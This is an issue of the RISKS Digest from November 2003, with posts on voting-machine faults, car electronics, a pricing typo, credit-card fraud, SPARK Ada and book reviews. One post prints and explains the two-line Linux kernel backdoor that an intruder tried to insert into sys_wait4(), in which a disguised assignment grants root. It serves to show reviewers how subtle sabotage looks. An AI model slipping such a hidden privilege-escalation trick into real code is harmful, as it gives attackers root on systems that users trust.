The Risks Digest

The RISKS Digest

Forum on Risks to the Public in Computers and Related Systems

ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

Volume 23 Issue 02

Weds 12 November 2003

Contents

Eurofighter Typhoon brake fault
Peter B. Ladkin
Computers in cars: "When you add complexity you add risks"
NewsScan
Mail-order price-listing typo cost company over $2 million
Chiaki Ishikawa
New election to be held due to technical glitch
Kim Alexander
Vanishing votes; wireless security experts
Rebecca Mercuri
Fairfax County electronic voting: the saga continues
Jeremy Epstein
Thwarted Linux backdoor
Douglas W. Jones
Talk of wiretaps rattles Hollywood
Bernard Weinraub via Monty Solomon
Update: Fun with stolen credit-card numbers
Jonathan Kamens
Re: SPARK Ada in "High Integrity Software"
Peter B. Ladkin
Re: goto in Slade's review of "High Integrity Software"
Martin Cohen
Andrew Dalke
Marcus Ranum: The Myth of Homeland Security
PGN
REVIEW: "The GSEC Prep Guide", Mike Chapple
Rob Slade
Info on RISKS (comp.risks)

Eurofighter Typhoon brake fault

<"Peter B. Ladkin" <ladkin@rvs.uni-bielefeld.de>>
Wed, 12 Nov 2003 10:08:58 +0100

*Flight International* reported a braking problem occurring on a Eurofighter
Typhoon aircraft on 9 Oct 2003 that led to the suspension of all flights
(*Flight International*, 21-27 October 2003, p4, article by Julian Moxon). A
cockpit warning light came on during landing, the pilot deployed the braking
parachute, but the brakes could be used to bring the aircraft to a halt.

The furlough lasted three weeks, and the aircraft were to return to flight
operations last week. Apparently 15 days have been lost from the flight test
program. The braking problem centered on a faulty microchip in the landing
gear computer (*Flight International*, 4-10 Nov 2003, p6).

Peter B. Ladkin, University of Bielefeld, Germany
http://www.rvs.uni-bielefeld.de


Computers in cars: "When you add complexity you add risks"

<"NewsScan" <newsscan@newsscan.com>>
Wed, 12 Nov 2003 07:35:15 -0700

The computer systems in today's luxury cars are wonderful when they work
right, but not so wonderful when something goes wrong. Donald Buffamanti of
AutoSpies.com (self-described as "the ultimate insider guide to the world's
best automobiles") says of one automaker's cars: "People have reported total
electronic shutdowns to us attributed to the network in the 7-series." One
luxury car owner, whose onboard computer gave monitoring information that
sent him off to the service station every few days to check his tire
pressure, complains: "Why does it have a computer that reads the problems if
they can't fix them?" Responding to complaints such as these, a BMW
executive says: "There is a not-uncommon shakedown period of one to two
years with technology this new," and a Honda executive admits: "When you're
adding complexity, you are adding risks." The BMW exec adds: "The good news
is that if it's working right after four years, it will continue to work for
a long time after that. Electronics have a much longer life than mechanical
parts."  [*USA Today*, 11 Nov 2003; NewsScan Daily, 12 Nov 2003]
  http://www.usatoday.com/tech/news/2003-11-11-carrepairs_x.htm

  [See RISKS-22.02,03,73,74 for other recent items on the 7-Series.
  Interesting statement that if it works for four years, it will continue
  to do so; RISKS readers are familiar with various reasons why this might
  not be true.  PGN]


Mail-order price-listing typo cost company over $2 million

<Chiaki Ishikawa <ishikawa@yk.rim.or.jp>>
Tue, 11 Nov 2003 09:08:21 +0900

It is widely reported in the Japanese press that a mail order web page's
typo cost a company more than two million dollars.

One "0" was missing from the price of a PC sold by Marubeni, a large trading
company's mail order web site.  Before the error was caught, about one
thousand people ordered 15 hundred units.  (The real price was 198, 000
Japanese Yen. It was listed initially as 19, 800 Yen.)

After the error was spotted, and trying to cancel the selling contract with
many customers had strong resistance from the said buyers and failed, the
company decided to bite the bullet and announced that it would sell the PC
at the incorrect list price to the customers who ordered the PC in order to
"keep its trust among the customers" or whatever.

I read that a lawyer offered a comment that in Japanese law a notion of
"clear misunderstanding nullifying a contract" (not sure what the right
English translation is.) exists, and so the contract to sell the goods
(which was deemed as being established by the automatic response sent to the
buyer afer the order at the web site was submitted) can be scrapped due to
this principle in court.

However, Marubeni obviously decided to honour the contract to protect its
name.

Another commented in a newspaper article that mail order companies should be
aware of anomalies such as sudden surge of orders on one product to spot
this kind of error.  (Intriguing problem. This is similar to input
validation problem and no amount of "intelligence" would be enough to
eliminate such errors, but a common sense check that puts a lower limit on
the price of a category of product, say, of PC, printer, etc. could have
caught this particular case.)


New election to be held due to technical glitch

<Kim Alexander <kimalex@calvoter.org>>
Tue, 11 Nov 2003 12:12:28 -0800

A revote will be held in Grant Parish, Louisiana after a candidate, Barney
Durand contested the results after being told he lost the race for police
jury.  He was running against an incumbent, Julius Scott, who was reported
to have won the race by an 8-vote margin.  Turns out one of the election
technicians had doubled either some or all of the absentee count (it's not
clear which is the case), adding an additional 20 votes, five for Durand and
15 for Scott.

The new count showed Durand won the election by only a few votes.  I phoned
Mr. Durand last week.  He told me that the Secretary of State agreed he had
won the election, but the losing candidate filed a lawsuit that resulted in
a judge ordering the revote to take place.

  http://www.nola.com/newsflash/louisiana/index.ssf
  ?/base/news-5/1066890841145171.xml


Vanishing votes; wireless security experts (Re: Epstein, RISKS-23.01)

<"Rebecca Mercuri" <notable@mindspring.com>>
Sat, 08 Nov 2003 14:47:38 -0500

As a follow-up to Jeremy Epstein's posting in RISKS-23.01, it seems that the
WinVote machines also had the mysterious capability of subtracting around
one in every hundred votes for a particular Republican candidate.  This was
confirmed by post-election testing (when county officials examined one of
the machines after complaints were filed by voters in three different
precincts).  The Washington Post reported Thursday that for School Board
candidate Rita S. Thompson "the machines initially displayed an "x" next to
her name but then, after a few seconds, the "x" disappeared."  The fact that
these votes may not have been recorded on the (so-called) audit trail
created internally on the machines underscores the need for voter verified
paper ballots in electronic voting systems.

I would like to bring readers' attention to the fact that the current IEEE
voting system draft allows for wireless (and other transmission) technology
to be used with precinct electronic balloting systems.  We need some
individuals with the ability to provide a detailed explanation of security
issues with wireless to assist with the current debate on this subject.
Anyone who has technical expertise in this area should contact me
immediately at: mercuri@acm.org


Fairfax County electronic voting: the saga continues

<Jeremy Epstein <jeremy.epstein@webmethods.com>>
Tue, 11 Nov 2003 09:59:33 -0800

As I reported in RISKS-23.01, the Fairfax County (Virginia) election last
week, which used new electronic WinVote systems, was marred by problems.  It
seems that some of them are more serious than I noted previously.

*The Washington Post* reports that in one local race, "Voters in three
precincts reported that when they attempted to vote for [a local candidate],
the machines initially displayed an 'x' next to her name but then, after a
few seconds, the 'x' disappeared."  The "county officials tested one of the
machines in question yesterday and discovered that it seemed to subtract a
vote for [the candidate] in about 'one out of a hundred tries,' said
Margaret K. Luca, secretary of the county Board of Elections."
[Incidentally, this is the same county official who told me in writing that
the "Electoral Board is taking every step to ensure a secure and successful
election...".]

If we assume that the one in a hundred number is accurate, the fact that the
election was decided by a margin of about 1% should leave everyone a bit
nervous.  The real problem is now that they're trying to "inspect" the
voting logs to see what happened.  But as we all know, the voting logs,
being electronic, may not represent anything at all.

Last night I had a discussion with someone in a position of knowledge, who
told me that this "1% vote" problem is of more concern to the county staff
than the eight failed machines I referenced in RISKS-23.01.  In the case of
those failed machines, the county staff is confident that they know what
went wrong, and they understand what the vote totals should have been.  [Not
that their confidence gives me much confidence!]  However, for the 1% vote
problem, the county staff apparently don't know what caused the problem.
And that makes them, and me, that much more nervous.

As a co-worker called it, this is "electronic hanging chad".

http://www.washingtonpost.com/wp-dyn/articles/A6291-2003Nov5.html


Thwarted Linux backdoor

<"Douglas W. Jones" <jones@cs.uiowa.edu>>
Tue, 11 Nov 2003 09:21:16 -0600

On 5 Nov 2003, an attempt to insert a very cleverly crafted backdoor into
Linux was averted.  This is a really good example of the subtle kinds of
hacks a source code examiner must be waiting to catch if we want genuinely
secure voting systems under the current model of proprietary DRE systems
with a closed-door source code examination.

Someone broke into a server at kernel.kbits.net and inserted the following
code into the Linux kernel:

        if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
                        retval = -EINVAL;

This was done in the code sys_wait4().  Larry McVoy caught the fact that the
change had been made, and was annoyed because it wasn't logged properly.
Matthew Dharm asked "Out of curiosity, what were the changed lines."  Zwane
Mwaikambo responded "That looks odd", and Andries Brouwer responded "Not if
you hope to get root."

So, an annoying violation of the software change logging requirements turned
out to be an attempt to install a backdoor in Linux.  At least two very
experienced programmers looked at it and saw just slightly odd code, before
the serious nature of the threat was actually discovered.

This particular attack, by the way, is ruled out by the current voting
system standards, not because they require a comprehensive security
analysis, but because of their C-centered coding rules.  Embedded assignment
is forbidden.  Current source code checks are good at finding embedded
assignments and flagging them (as long as the code is written in C).  No
doubt, a hacker of the sophistication suggested by the attack illustrated
above would strictly adhere to the coding guidelines in formulating their
attack.

For the complete story of this attack on Linux, including the actual E-mail
exchange documenting the discovery of the attack, see:

    http://kerneltrap.org/node/view/1584
    Linux: Kernel "Back Door" Attempt

This attack has only made the mainstream media in one place, so far:

    http://www.smh.com.au/articles/2003/11/07/1068013371170.html
    Bid to backdoor Linux kernel detected - smh.com.au

This is a pity, because I think this story is really important.


Talk of wiretaps rattles Hollywood

<Monty Solomon <monty@roscom.com>>
Tue, 11 Nov 2003 04:12:35 -0500

[Source: Bernard Weinraub, *The New York Times*, 11 Nov 2003; PGN-ed]
  http://www.nytimes.com/2003/11/11/business/media/11wire.html

  The case began with a dead fish and a rose in an aluminum pan, left on the
  hood of a car parked on a Los Angeles street.  Taped to the windshield of
  the car, which belonged to a reporter for the *Los Angeles Times*, was a
  piece of cardboard with a single word: "Stop."  The discovery in June 2002
  -- for which an ex-convict was later arrested -- unleashed a chain of
  events that has suddenly entwined many of the Hollywood elite and
  threatens to turn into the kind of scandal that the show business world
  has not faced in decades.  Managers, actors, businessmen and lawyers are
  being questioned, and in some cases subpoenaed, by the federal government
  in a widening grand jury investigation of suspected illegal wiretapping
  that has moved beyond Los Angeles to New York, according to entertainers,
  producers, lawyers and others involved in the inquiry.

This involves Anthony Pellicano, a private investigator for numerous
Hollywood celebrities.  An FBI raid netted many transcripts of taps.


Update: Fun with stolen credit-card numbers (RISKS-22.93)

<Jonathan Kamens <jik@kamens.brookline.ma.us>>
Sun, 26 Oct 2003 21:29:57 -0500

RISKS readers might appreciate the following update to my experience with
the theft of my AmEx card number....

Over a month after I canceled the stolen number and got a new one, two charges
I did not make from America On-Line showed up on my statement.

According to AOL, my number was used to open two AOL accounts, but by the
time AOL tried to bill the number, I had canceled it.  AmEx's policy for
this situation is not what you would expect, i.e., to reject a charge to a
number canceled due to fraud, but rather TO TRANSMIT THE NEW NUMBER TO THE
MERCHANT.  Yes, that's right, AmEx gave AOL my replacement card number, and
AOL turned around and rebilled me using the new number.  According to AOL,
other card issuers handle this situation more sanely, but AmEx is
"notorious" about correcting card numbers for merchants when they shouldn't.

AOL assured me that once a number has entered their system, users can't see
it, so even after AmEx sent the new number to AOL, whoever opened the
accounts would not have been able to use them to find out my new number.

AmEx denied that they would ever transmit a replacement number to a
merchant.  However, their denial is not credible, because:

* AmEx confirmed that the charges from AOL were made using my new card number;

* The AOL accounts were opened before my replacement number was issued, so
  it's impossible that they could have been opened using the replacement
  number; and

* AOL told me exactly when they billed AmEx with the old number, when AmEx
  sent them the new one, and when they rebilled successfully using it.

I told the AmEx rep. that since he and AOL were giving me different stories,
I wanted him to call AOL and figure out the truth.  He said only the AmEx
"fraud department" could do that, but he could hand the matter over to the
fraud department only by initiating a fraud dispute and canceling my new
number.  I refused to allow him to do this, because I did not believe my new
number had been compromised, and I did not intend to waste more time
changing all of my recurring transactions to a new number twice in two
months.  He said there was no way I could speak to the fraud department
directly.  I finally got him to give me a U.S. Mail address which I could
use to write to them.

Needless to say, I have written them a rather strongly worded letter
demanding a credible explanation for how AOL got my new card number.  It'll
have to be a very good explanation indeed to convince me not to take my
business elsewhere.

As if all this weren't bad enough, AOL gave me one more piece of very
disconcerting information.  One of the AOL accounts was opened using my name,
and the other was opened using MY FIVE-YEAR-OLD DAUGHTER'S NAME.  This elevates
the situation from a simple stolen credit-card number to something potentially
much more serious (and scary).  Therefore, I'll be spending tomorrow making
phone calls to various law-enforcement agencies trying to find someone willing
to initiate an investigation.  I am pessimistic about my chances of success.


Re: SPARK Ada in "High Integrity Software" (Slade, RISKS-23.01)

<"Peter B. Ladkin" <ladkin@rvs.uni-bielefeld.de>>
Wed, 12 Nov 2003 10:40:24 +0100

I should like to add a few comments to Rob Slade's generally positive review
of John Barnes's book on SPARK Ada in RISKS-23.01.

The main characteristics of the SPARK Ada language is that it is an
unambiguous subset of Ada with a rigorous semantics. I understand that its
developers felt that such characteristics were minimal necessary for
guaranteeing the behavior of compiled code. "Unambiguous" means that all
compilers compile source to object code which behaves exactly the same with
respect to the program variables as other object code compiled from the same
source, and it is necessary to achieve this that the semantics of the subset
be precise.

They also chose the subset to be as far as possible amenable to static
analysis, partly through use of code annotation. The goal was, as I
understand it, to ensure that the behavior of all programs written in the
language would be completely predictable, not just in theory, but also in
practice. SPARK Examiner is the static analysis tool which comes with SPARK
Ada.

Proponents of SPARK Ada argue that these properties are necessary in
languages used for the development of critical systems, and I am inclined to
accept such arguments.

SPARK Ada has achieved measurable success in the development of avionics
software by Lockheed Martin for their C130J new-generation Hercules
transport aircraft, which has been bought by the UK military.  UK military
procurement regulations make requirements on development methods which are
likely most easily met through methods involving the use of programming
languages with SPARK Ada's characteristics.  There is a collection of papers
on SPARK Ada and its use at www.sparkada.com

If one needs a language with the characteristics mentioned above -- and who
doesn't, even for non-critical systems? -- then SPARK Ada is the most
experienced game in town. (There are other tools, such as Perfect Developer
from Escher Technologies, also a UK company, which claim identical or
similar properties, are younger, therefore less tried, but likely also worth
a look.)

Barnes's book is *the* book on SPARK Ada.  It was first published
in 1997 and Slade reviewed the recently-published Second Edition.

I have no connection with Praxis Critical Systems, the provider of
SPARK Ada, other than that of general admiration for their sterling work.

Peter B. Ladkin, University of Bielefeld, Germany
http://www.rvs.uni-bielefeld.de


Re: goto in Slade's review of "High Integrity Software" (RISKS-23.01)

<Martin Cohen <mjcohen@acm.org>>
Sun, 09 Nov 2003 11:19:37 -0800

In Rob Slade's review of "High Integrity Software" in RISKS-23.01, he
says that

  "SPARK forbids language structures such as the infamous GOTO statement of
  Fortran and BASIC (which cannot be formally verified)."

To the contrary (as I learned back in the 1970's), the semantics of gotos
and labels are quite simple: At any label, the conditions that hold there
are the union of the conditions that hold at all the gotos that have the
label as their destination together with the conditions that hold at the end
of the statement preceding the label. The conditions that hold (textually)
following a goto are null (i.e., nothing is true, since you can't get
there).

I remember when I first read this and thought "Of course!" It's the kind of
thing that is obvious after seeing it, but not obvious to come up with it. I
do not know who first thought of this, but I admire their clear thinking.


Re: goto in Slade's review of "High Integrity Software" (RISKS-23.01)

<"Andrew Dalke" <adalke@mindspring.com>>
Sat, 8 Nov 2003 00:08:43 -0700

A GOTO can be emulated with a loop and a set of if statements.
Reaching back into my now rusty BASIC, the following

10 PRINT "What is your name?",
20 A$ = INPUT$()
30 IF A$ = "END" THEN GOTO 60
40 PRINT "Hello, ", A$
50 GOTO 10
60 PRINT "Okay, bye-bye!"
70 END

can be translated into inefficient (and untested) Python as

line_number = 1
while line_number < 100:
  if line_number == 10:
      print "What is your name?",
  elif line_number == 20:
      a = raw_input("")
  elif line_number == 30:
      if a == "END":
        line_number = 60
  elif line_number == 40:
      print "Hello,", a
  elif line_number == 50:
      line_number = 10
  elif line_number == 60:
      print "Okay, bye-bye!"
  elif line_number == 70:
      break
  else:
    line_number = line_number + 1

Or does SPARK also forbid combining loops and if statements because there is
no way to formally verify them?


Marcus Ranum: The Myth of Homeland Security

<"Peter G. Neumann" <neumann@csl.sri.com>>
Mon, 10 Nov 2003 12:32:50 PST

  Marcus Ranum
  The Myth of Homeland Security
  Wiley, 2004
  xviii+244

This book could not be more timely or more relevant.  It is extraordinarily
important for all RISKS readers, as it reinforces so many themes that we
have discussed here, including the reality that many critical problems
(especially low-tech threats) do not necessarily have technologically based
solutions (especially high-tech fixes).  Common sense abounds, along with a
lot of very practical insights.

The front jacket flap tells it like it is:

  "Writing with anger, honesty, and true patriotism, Ranum reveals the truth
  about 'feel-good' security policies and boondoggle spending programs that
  mask the real threats and do nothing tangible to improve public safety."

This book has huge platters of food for thought.  Intellectually, you won't
go hungry reading it, and there is much on which to chew.  However, if the
book leaves a bad taste in your mouth, it is not Marcus Ranum's fault.  He
is simply and compellingly telling it like it is, and we all need to listen.

  [Despite the publication date of 2004, the book is out now.  PGN]


REVIEW: "The GSEC Prep Guide", Mike Chapple

<Rob Slade <rslade@sprint.ca>>
Mon, 10 Nov 2003 07:46:26 -0800

BKGSECPG.RVW   20030918

"The GSEC Prep Guide", Mike Chapple, 2003, 0-7645-3932-9,
U$60.00/C$90.99/UK#41.95
%A   Mike Chapple
%C   5353 Dundas Street West, 4th Floor, Etobicoke, ON   M9B 6H8
%D   2003
%G   0-7645-3932-9
%I   John Wiley & Sons, Inc.
%O   U$60.00/C$90.99/UK#41.95 416-236-4433 fax: 416-236-4448
%O  http://www.amazon.com/exec/obidos/ASIN/0764539329/robsladesinterne
  http://www.amazon.co.uk/exec/obidos/ASIN/0764539329/robsladesinte-21
%O   http://www.amazon.ca/exec/obidos/ASIN/0764539329/robsladesin03-20
%P   448 p. + CD-ROM
%T   "The GSEC Prep Guide: Mastering SANS GIAC Security Essentials"

The SANS (System administrators, Audit, Network, Security) Institute
GIAC (Global Information Assurance Certification) Security Essentials
Certification (GSEC) is supposed to be the "core" program for the
various GIAC courses and exams.

Chapter one covers some basic, but random, security concepts and
topics.  A list of sample questions, intended to help the
student/candidate prepare for the GSEC exam, is given at the end of
every chapter.  If these truly represent the level and type of
questions on the exam then getting the GSEC is a snap: quick, which
type of situation is worse, one that has low threat and low
vulnerability or high threat and high vulnerability?  (On the other
hand, you may have to know the party line: one question insists that
you credit SANS with the concept of defence in depth, and there is a
concept of "separation of privilege" that seems to be what everyone
else refers to as separation of duties.)  Security policies are
discussed in a verbose but almost "content-free" manner in chapter
two.  Virtually nothing is said about the policy process and different
functional types of policies.  Again, there is a demand for
idiosyncratic jargon: high level policies are "program" policies,
whereas detailed policies (mostly procedural, given the list
discussed) are "issue-specific."  One term that might be worth
adopting is "system-specific policy": those who deal with policies
know that it is difficult to have exceptions documented.  Using this
term for deviations, as SANS does, may reduce the resistance to noting
the irregularities.  There are some basic ideas about risk assessment
and management in chapter three, but most of the text reviews network
scanning tools.  Chapter four contains network nomenclature, Cisco
equipment filtering command arguments, and miscellaneous IP (Internet
Protocol) protocols in varying depth.  There are a brief list of the
titular "Incident Handling" factors contained in chapter five, as well
as random legal terms.  The discussion of cryptography in chapter six
is reasonable up to the point of symmetric block ciphers, but
subsequent material has errors (keystream data should *not* repeat
during the course of a message), confusing diagrams, and unhelpful
mathematics.  There is no deliberation about the usage of public key
cryptography, hashes, and digests until chapter seven, which, despite
the title, has absolutely nothing to say about "Applications
Security."  Chapter eight provides a simple overview of firewalls and
intrusion detection systems (IDSs) but is not overly detailed: no
distinction is made between application and circuit-level proxies, and
some of the statements made are clearly incorrect for circuit devices.
There is a grab bag of malware, cryptanalysis, attack methods and more
in chapter nine.  The content on operations security is limited to
assorted aspects and tools of Windows and UNIX that might be related
to secure processing, in chapters ten and eleven respectively.
Chapter twelve is a practice exam.  It's pretty easy.

The GSEC is sometimes said to be adequate preparation for the CISSP
(Certified Information Systems Security Professional) exam, but there
are significant gaps in GSEC's coverage of the security topic.
Although risk assessment and policy are discussed, management issues
and access controls get limited substance in GSEC.  Security
architecture, applications security, physical security, and business
continuity are all missing, while operations are restricted to Windows
and UNIX.

This book does provide some useful direction in regard to information
systems security, but readers should be warned that the missing pieces
will probably be very important at some point.

copyright Robert M. Slade, 2003   BKGSECPG.RVW   20030918
rslade@vcn.bc.ca      slade@victoria.tc.ca      rslade@sun.soci.niu.edu
Computer Security Day, November 30  http://www.computersecurityday.com/
victoria.tc.ca/techrev/mnbksc.htm sun.soci.niu.edu/~rslade/secgloss.htm

Please report problems with the web pages to the maintainer

Top